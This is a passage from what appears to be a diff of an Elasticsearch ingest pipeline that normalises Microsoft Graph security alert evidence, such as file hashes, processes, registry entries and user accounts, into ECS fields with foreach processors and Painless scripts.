foreach_evidence_rename_fileDetails_sha256 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.sha256 + tag: rename_foreach_evidence_fileDetails_sha256 + target_field: _ingest._value.file_details.sha256 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_filedetails_sha256_into_file_hash_sha256 + if: ctx.json?.evidence instanceof List + processor: + append: + field: file.hash.sha256 + tag: append_foreach_evidence_filedetails_sha256_into_file_hash_sha256 + value: '{{{_ingest._value.file_details.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_filedetails_sha256_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_filedetails_sha256_into_related_hash + value: '{{{_ingest._value.file_details.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_fileDetails_fileName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.fileName + tag: rename_foreach_evidence_fileDetails_FileName + target_field: _ingest._value.file_details.name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_fileDetails_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: file.name + tag: append_foreach_evidence_fileDetails_name + value: '{{{_ingest._value.file_details.name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_fileDetails_filePath + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.filePath + tag: rename_foreach_evidence_fileDetails_filePath + target_field: _ingest._value.file_details.path + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_fileDetails_path + if: ctx.json?.evidence instanceof List + processor: + append: + field: file.path + tag: append_foreach_evidence_fileDetails_path + value: '{{{_ingest._value.file_details.path}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_convert_fileSize + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.fileDetails.fileSize + tag: convert_foreach_evidence_fileSize + target_field: _ingest._value.file_details.size + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.fileDetails.fileSize + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_filePublisher + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.filePublisher + tag: rename_foreach_evidence_filePublisher + target_field: _ingest._value.file_details.publisher + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_issuer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.issuer + tag: rename_foreach_evidence_issuer + target_field: _ingest._value.file_details.issuer + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_signer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.fileDetails.signer + tag: rename_evidence_foreach_signer + target_field: _ingest._value.file_details.signer + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_ipAddress + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.ipAddress + tag: convert_foreach_evidence_ipAddress + target_field: _ingest._value.ip_address + type: ip + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.ipAddress + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_append_ip_address_into_host_ip + if: ctx.json?.evidence instanceof List + processor: + append: + field: host.ip + tag: append_foreach_evidence_ip_address_into_host_ip + value: '{{{_ingest._value.ip_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_ip_address_into_related_ip + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.ip + tag: append_foreach_evidence_ip_address_into_related_ip + value: '{{{_ingest._value.ip_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_countryLetterCode_to_geo_country_iso_code + if: ctx.json?.evidence instanceof List + processor: + append: + field: source.geo.country_iso_code + tag: append_foreach_evidence_countryLetterCode_to_geo_country_iso_code + value: '{{{_ingest._value.country_letter_code}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_url_to_url_original + if: ctx.json?.evidence instanceof List + processor: + append: + field: url.original + tag: append_foreach_evidence_url_to_url_original + value: '{{{_ingest._value.url}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_urls_array_to_url_original + if: ctx.json?.evidence instanceof List + processor: + foreach: + field: _ingest._value.urls + tag: foreach_append_urls_array_to_url_original + ignore_missing: true + processor: + append: + field: url.original + tag: append_urls_array_to_url_original + value: '{{{_ingest._value}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander_userAccount + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.userAccount + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_userAccount_odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.@odata.type + tag: renane_foreach_evidence_userAccount_odata_type + target_field: _ingest._value.user_account.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_useraccount_domainName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.domainName + tag: rename_foreach_evidence_useraccount_domainName + target_field: _ingest._value.user_account.domain_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_useraccount_domain_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hosts + tag: append_foreach_evidence_useraccount_domain_name + value: '{{{_ingest._value.user_account.domain_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_useraccount_azureAdUserId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.azureAdUserId + tag: rename_foreach_evidence_useraccount_azureAdUserId + target_field: _ingest._value.user_account.azure_ad_user_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_useraccount_azureAdUserId + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_useraccount_azureAdUserId + value: '{{{_ingest._value.user_account.azure_ad_user_id}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_useraccount_userPrincipalName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.userPrincipalName + tag: rename_foreach_evidence_useraccount_userPrincipalName + target_field: _ingest._value.user_account.user_principal_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_useraccount_user_principal_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_useraccount_user_principal_name + value: '{{{_ingest._value.user_account.user_principal_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_primaryAddress + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.primaryAddress + tag: rename_foreach_evidence_primaryAddress + target_field: _ingest._value.primary_address + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_primary_address_to_user_email + if: ctx.json?.evidence instanceof List + processor: + append: + field: user.email + tag: append_foreach_evidence_primary_address_to_user_email + value: '{{{_ingest._value.primary_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_primary_address_to_related_user + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_primary_address_to_related_user + value: '{{{_ingest._value.primary_address}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_useraccount_accountname + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.accountName + tag: rename_foreach_evidence_useraccount_accountname + target_field: _ingest._value.user_account.account_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_useraccount_accountname + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_useraccount_accountname + value: '{{{_ingest._value.user_account.account_name}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_useraccount_userSid + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.userAccount.userSid + tag: rename_foreach_evidence_useraccount_userSid + target_field: _ingest._value.user_account.user_sid + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_useraccount_userSid + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.user + tag: append_foreach_evidence_useraccount_userSid + value: '{{{_ingest._value.user_account.user_sid}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_clusterBy + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.clusterBy + tag: rename_foreach_evidence_clusterBy + target_field: _ingest._value.cluster_by + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_ename_clusterByValue + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.clusterByValue + tag: rename_evidence_foreach_clusterByValue + target_field: _ingest._value.cluster_by_value + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_emailCount + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.emailCount + tag: convert_foreach_evidence_emailCount + target_field: _ingest._value.email_count + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.emailCount + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_networkMessageIds + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.networkMessageIds + tag: rename_foreach_evidence_networkMessageId + target_field: _ingest._value.network_message_ids + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_rename_evidence_objectId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.objectId + tag: rename_foreach_evidence_objectId + target_field: _ingest._value.object_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_processCommandLine + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.processCommandLine + tag: rename_foreach_evidence_processCommandLine + target_field: _ingest._value.process.command_line + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_processCommandLine + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.command_line + tag: append_foreach_evidence_processCommandLine + value: '{{{_ingest._value.process.command_line}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander_imageFile + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.imageFile + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imageFile_@odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.@odata.type + tag: rename_foreach_evidence_imageFile_@odata_type + target_field: _ingest._value.image_file.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imagefile_sha1 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.sha1 + tag: rename_foreach_evidence_imagefile_sha1 + target_field: _ingest._value.image_file.sha1 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_imagefile_sha1_into_process_hash_sha1 + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.hash.sha1 + tag: append_foreach_evidence_imagefile_sha1_into_process_hash_sha1 + value: '{{{_ingest._value.image_file.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_imagefile_sha1_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_imagefile_sha1_into_related_hash + value: '{{{_ingest._value.image_file.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_imagefile_sha256 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.sha256 + tag: foreach_evidence_rename_imagefile_sha256 + target_field: _ingest._value.image_file.sha256 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_imagefile_sha256_into_process_hash_sha256 + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.hash.sha256 + tag: append_foreach_evidence_imagefile_sha256_into_process_hash_sha256 + value: '{{{_ingest._value.image_file.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_imagefile_sha256_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_imagefile_sha256_into_related_hash + value: '{{{_ingest._value.image_file.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_dot_expander_parentProcessImageFile + if: ctx.json?.evidence instanceof List + processor: + dot_expander: + field: '@odata.type' + path: _ingest._value.parentProcessImageFile + ignore_failure: true + override: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_@odata_type + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.@odata.type + tag: rename_foreach_evidence_parentProcessImageFile_@odata_type + target_field: _ingest._value.parent_process.image_file.odata_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_sha1 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.sha1 + tag: rename_foreach_evidence_parentProcessImageFile_sha1 + target_field: _ingest._value.parent_process.image_file.sha1 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_parentProcessImageFile_sha1_into_process_parent_hash_sha1 + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.parent.hash.sha1 + tag: append_foreach_evidence_parentProcessImageFile_sha1_into_process_parent_hash_sha1 + value: '{{{_ingest._value.parent_process.image_file.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_parentProcessImageFile_sha1_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_parentProcessImageFile_sha1_into_related_hash + value: '{{{_ingest._value.parent_process.image_file.sha1}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_sha256 + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.sha256 + tag: rename_foreach_evidence_parentProcessImageFile_sha256 + target_field: _ingest._value.parent_process.image_file.sha256 + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_parentProcessImageFile_sha256_into_process_parent_hash_sha256 + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.parent.hash.sha256 + tag: append_foreach_evidence_parentProcessImageFile_sha256_into_process_parent_hash_sha256 + value: '{{{_ingest._value.parent_process.image_file.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_parentProcessImageFile_sha256_into_related_hash + if: ctx.json?.evidence instanceof List + processor: + append: + field: related.hash + tag: append_foreach_evidence_parentProcessImageFile_sha256_into_related_hash + value: '{{{_ingest._value.parent_process.image_file.sha256}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_convert_parentProcessId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.parentProcessId + tag: convert_foreach_evidence_parentProcessId + target_field: _ingest._value.parent_process.id + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.parentProcessId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_date_parentProcessCreationDateTime + if: ctx.json?.evidence instanceof List + processor: + date: + field: _ingest._value.parentProcessCreationDateTime + tag: date_foreach_evidence_parentProcessCreationDateTime + target_field: _ingest._value.parent_process.creation_datetime + formats: + - ISO8601 + on_failure: + - remove: + field: _ingest._value.parentProcessCreationDateTime + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_parentProcessCreationDateTime + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.parent.start + tag: append_foreach_evidence_parentProcessCreationDateTime + value: '{{{_ingest._value.parent_process.creation_datetime}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_convert_processId + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.processId + tag: convert_foreach_evidence_processId + target_field: _ingest._value.process.id + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.processId + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_date_processCreationDateTime + if: ctx.json?.evidence instanceof List + processor: + date: + field: _ingest._value.processCreationDateTime + tag: date_foreach_evidence_processCreationDateTime + target_field: _ingest._value.process.creation_datetime + formats: + - ISO8601 + on_failure: + - remove: + field: _ingest._value.processCreationDateTime + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_processCreationDateTime + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.start + tag: append_foreach_evidence_processCreationDateTime + value: '{{{_ingest._value.process.creation_datetime}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_process_name + if: ctx.json?.evidence instanceof List + processor: + append: + field: process.name + tag: append_evidence_imageFile_to_process_name + value: '{{{_ingest._value.imageFile.fileName}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imageFile_filename + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.fileName + tag: rename_foreach_evidence_imageFile_filename + target_field: _ingest._value.image_file.name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imageFile_filepath + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.filePath + tag: rename_foreach_evidence_imageFile_filepath + target_field: _ingest._value.image_file.path + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imageFile_filePublisher + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.filePublisher + tag: rename_foreach_evidence_imageFile_filePublisher + target_field: _ingest._value.image_file.publisher + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_imagefile_filesize + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.imageFile.fileSize + tag: convert_foreach_evidence_imagefile_filesize + target_field: _ingest._value.image_file.size + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.imageFile.fileSize + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imagefile_issuer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.issuer + tag: rename_foreach_evidence_imagefile_issuer + target_field: _ingest._value.image_file.issuer + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_imageFile_signer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.imageFile.signer + tag: rename_foreach_evidence_imageFile_signer + target_field: _ingest._value.image_file.signer + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_filename + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.fileName + tag: rename_foreach_evidence_parentProcessImageFile_filename + target_field: _ingest._value.parent_process.image_file.name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_parentProcessImageFile_filepath + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.filePath + tag: rename_foreach_evidence_parentProcessImageFile_filepath + target_field: _ingest._value.parent_process.image_file.path + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_filepublisher + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.filePublisher + tag: rename_foreach_evidence_parentProcessImageFile_filepublisher + target_field: _ingest._value.parent_process.image_file.publisher + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_convert_parentProcessImageFile_filesize + if: ctx.json?.evidence instanceof List + processor: + convert: + field: _ingest._value.parentProcessImageFile.fileSize + tag: convert_foreach_evidence_parentProcessImageFile_filesize + target_field: _ingest._value.parent_process.image_file.size + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.parentProcessImageFile.fileSize + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_issuer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.issuer + tag: rename_foreach_evidence_parentProcessImageFile_issuer + target_field: _ingest._value.parent_process.image_file.issuer + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_parentProcessImageFile_signer + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.parentProcessImageFile.signer + tag: rename_foreach_evidence_parentProcessImageFile_signer + target_field: _ingest._value.parent_process.image_file.signer + ignore_missing: true + - script: + description: Set process and file ECS fields from evidence (executables, pids, file size). + tag: script_set_process_fields_from_evidence + lang: painless + if: ctx.json?.evidence instanceof List + source: | + def convertToOrderedArray(def list) { + def result = new ArrayList(); + for (element in list) { + result.add(element); + } + Collections.sort(result); + return result; + } + + String joinPathAndName(String path, String name) { + if (path == null || name == null) { + return null; + } + String separator = path.contains("\\") ? "\\" : "/"; + if (!path.endsWith(separator)) { + path = path + separator; + } + return path + name; + } + + void maybeAddExecutable(def destination, def imageFile) { + if (imageFile == null) { + return; + } + if (imageFile?.path != null && imageFile?.name != null) { + destination.add(joinPathAndName(imageFile.path, imageFile.name)); + } else if (imageFile?.name != null) { + destination.add(imageFile.name); + } + } + + def processExecutable = new HashSet(); + def processParentExecutable = new HashSet(); + def fileSize = new HashSet(); + def processPid = new HashSet(); + def processParentPid = new HashSet(); + + for (evidence in ctx.json.evidence) { + maybeAddExecutable(processExecutable, evidence?.image_file); + maybeAddExecutable(processParentExecutable, evidence?.parent_process?.image_file); + + if (evidence?.odata_type == null) { + continue; + } + if (evidence.odata_type == '#microsoft.graph.security.fileEvidence') { + if (evidence?.file_details?.size != null) { + fileSize.add(evidence.file_details.size); + } + } else if (evidence.odata_type == '#microsoft.graph.security.processEvidence') { + if (evidence?.process?.id != null) { + processPid.add(evidence.process.id); + } + if (evidence?.parent_process?.id != null) { + processParentPid.add(evidence.parent_process.id); + } + } + } + + ctx.file = ctx.file ?: [:]; + ctx.process = ctx.process ?: [:]; + ctx.process.parent = ctx.process.parent ?: [:]; + + if (!fileSize.isEmpty()) { + ctx.file.size = convertToOrderedArray(fileSize); + } + if (!processPid.isEmpty()) { + ctx.process.pid = convertToOrderedArray(processPid); + } + if (!processParentPid.isEmpty()) { + ctx.process.parent.pid = convertToOrderedArray(processParentPid); + } + if (!processExecutable.isEmpty()) { + def execList = new ArrayList(processExecutable); + if (execList.size() == 1) { + ctx.process.executable = execList.get(0); + } else { + ctx.process.executable = execList; + } + } + if (!processParentExecutable.isEmpty()) { + def execList = new ArrayList(processParentExecutable); + if (execList.size() == 1) { + ctx.process.parent.executable = execList.get(0); + } else { + ctx.process.parent.executable = execList; + } + } + - foreach: + field: json.evidence + tag: foreach_evidence_rename_registryHive + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.registryHive + tag: rename_foreach_evidence_registryHive + target_field: _ingest._value.registry_hive + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_registryHive + if: ctx.json?.evidence instanceof List + processor: + append: + field: registry.hive + tag: append_foreach_evidence_registryHive + value: '{{{_ingest._value.registry_hive}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_registryKey + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.registryKey + tag: rename_foreach_evidence_registryKey + target_field: _ingest._value.registry_key + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_registryKey + if: ctx.json?.evidence instanceof List + processor: + append: + field: registry.key + tag: append_foreach_evidence_registryKey + value: '{{{_ingest._value.registry_key}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_registryValueType + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.registryValueType + tag: rename_foreach_evidence_registryValueType + target_field: _ingest._value.registry_value_type + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_registryValueType + if: ctx.json?.evidence instanceof List + processor: + append: + field: registry.data.type + tag: append_foreach_evidence_registryValueType + value: '{{{_ingest._value.registry_value_type}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_registryValue + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.registryValue + tag: rename_foreach_evidence_registryValue + target_field: _ingest._value.registry_value + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_registryValue + if: ctx.json?.evidence instanceof List + processor: + append: + field: registry.value + tag: append_foreach_evidence_registryValue + value: '{{{_ingest._value.registry_value}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_rename_registryValueName + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.registryValueName + tag: rename_foreach_evidence_registryValueName + target_field: _ingest._value.registry_value_name + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_rename_securityGroupId + if: ctx.json?.evidence instanceof List + processor: + rename: + field: _ingest._value.securityGroupId + tag: rename_foreach_evidence_securityGroupId + target_field: _ingest._value.security_group_id + ignore_missing: true + - foreach: + field: json.evidence + tag: foreach_evidence_append_securityGroupId + if: ctx.json?.evidence instanceof List + processor: + append: + field: group.id + tag: append_foreach_evidence_securityGroupId + value: '{{{_ingest._value.security_group_id}}}' + allow_duplicates: false + - script: + description: Map ecs fields based on evidence type. + tag: script_to_map_evidence_ecs_fields + lang: painless + if: ctx.json?.evidence instanceof List + source: | + def convertToOrderedArray(def list) { + def result = new ArrayList(); + for (element in list) { + result.add(element); + } + Collections.sort(result); + return result; + } + if (!(ctx.cloud instanceof HashMap)) { + ctx.cloud = new HashMap(); + } + def cloudProvider = new HashSet(); + if (!(ctx.group instanceof HashMap)) { + ctx.group = new HashMap(); + } + def groupName = new HashSet(); + if (!(ctx.host instanceof HashMap)) { + ctx.host = new HashMap(); + } + def hostId = new HashSet(); + if (!(ctx.user instanceof HashMap)) { + ctx.user = new HashMap(); + } + def userDomain = new HashSet(); + def userId = new HashSet(); + def userName = new HashSet(); + def userEmail = new HashSet(); + if (!(ctx.process instanceof HashMap)) { + ctx.process = new HashMap(); + } + ctx.process.user = new HashMap(); + def processUserId = new HashSet(); + def processUserName = new HashSet(); + for (evidence in ctx.json.evidence) { + if (evidence?.odata_type == null) { + continue + } + if (evidence?.odata_type == '#microsoft.graph.security.securityGroupEvidence') { + if (evidence?.display_name != null) { + groupName.add(evidence.display_name); + } + } + if (evidence?.odata_type == '#microsoft.graph.security.deviceEvidence') { + if (evidence?.mde_device_id != null) { + hostId.add(evidence.mde_device_id); + } + } + if (['#microsoft.graph.security.mailboxEvidence', '#microsoft.graph.security.userEvidence'].contains(evidence.odata_type)) { + if (evidence?.user_account?.domain_name != null) { + userDomain.add(evidence.user_account.domain_name); + } + if (evidence?.user_account?.azure_ad_user_id != null) { + userId.add(evidence.user_account.azure_ad_user_id); + } + if (evidence?.user_account?.user_principal_name != null) { + userEmail.add(evidence.user_account.user_principal_name); + } + if (evidence?.user_account?.account_name != null) { + userName.add(evidence.user_account.account_name); + } + } + if (evidence?.odata_type == '#microsoft.graph.security.processEvidence') { + if (evidence?.user_account?.azure_ad_user_id != null) { + processUserId.add(evidence.user_account.azure_ad_user_id); + } + if (evidence?.user_account?.account_name != null) { + processUserName.add(evidence.user_account.account_name); + } + } + if (evidence?.vm_metadata?.cloud_provider != null && evidence.vm_metadata.cloud_provider.toLowerCase() == 'azure') { + cloudProvider.add('azure'); + } + } + if (!cloudProvider.isEmpty()) { + ctx.cloud.provider = convertToOrderedArray(cloudProvider); + } + if (!groupName.isEmpty()) { + ctx.group.name = convertToOrderedArray(groupName); + } + if (!hostId.isEmpty()) { + ctx.host.id = convertToOrderedArray(hostId); + } + if (!userDomain.isEmpty()) { + ctx.user.domain = convertToOrderedArray(userDomain); + } + if (!userId.isEmpty()) { + ctx.user.id = convertToOrderedArray(userId); + } + if (!userName.isEmpty()) { + ctx.user.name = convertToOrderedArray(userName); + } + if (!userEmail.isEmpty()) { + ctx.user.email = convertToOrderedArray(userEmail); + } + if (!processUserId.isEmpty()) { + ctx.process.user.id = convertToOrderedArray(processUserId); + } + if (!processUserName.isEmpty()) { + ctx.process.user.name = convertToOrderedArray(processUserName); + } + - foreach: + field: process.pid + tag: foreach_process_pid + if: ctx.process?.pid instanceof List + processor: + append: + field: process.entity_id + tag: append_process_pid_to_entity_id + value: '{{{_ingest._value}}}' + 